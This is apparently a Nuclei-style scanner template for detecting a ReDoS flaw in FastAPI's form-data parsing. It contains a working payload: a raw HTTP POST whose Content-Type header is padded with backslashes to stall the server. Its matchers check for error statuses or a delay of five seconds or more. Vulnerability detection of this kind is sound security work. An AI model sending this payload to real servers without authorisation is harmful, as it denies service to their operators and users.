36 lines
1.1 KiB
YAML
36 lines
1.1 KiB
YAML
id: fastapi-redos
|
|
info:
|
|
name: Check FastAPI ReDoS Vulnerability in Form Data Parsing
|
|
author: DanMcInerney, byt3bl33d3r, nicecatch2000, daffainfo
|
|
severity: high
|
|
description: Checks for ReDoS vulnerability in FastAPI when parsing form data with a malicious Content-Type header.
|
|
reference:
|
|
- https://huntr.com/bounties/dd680268-d735-4f33-a358-d827694ab035
|
|
classification:
|
|
cvss-score: 7.5
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
|
cwe-id: CWE-400 # Resource Exhaustion
|
|
tags: fastapi, redos, dos, vulnerability, ai, ml, protectai, huntr
|
|
|
|
http:
|
|
- raw:
|
|
- |+
|
|
POST /submit/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Content-Type: application/x-www-form-urlencoded; !="\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
|
|
Content-Length: 7
|
|
|
|
input=1
|
|
unsafe: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 500
|
|
- 502
|
|
- 504
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration>=5' |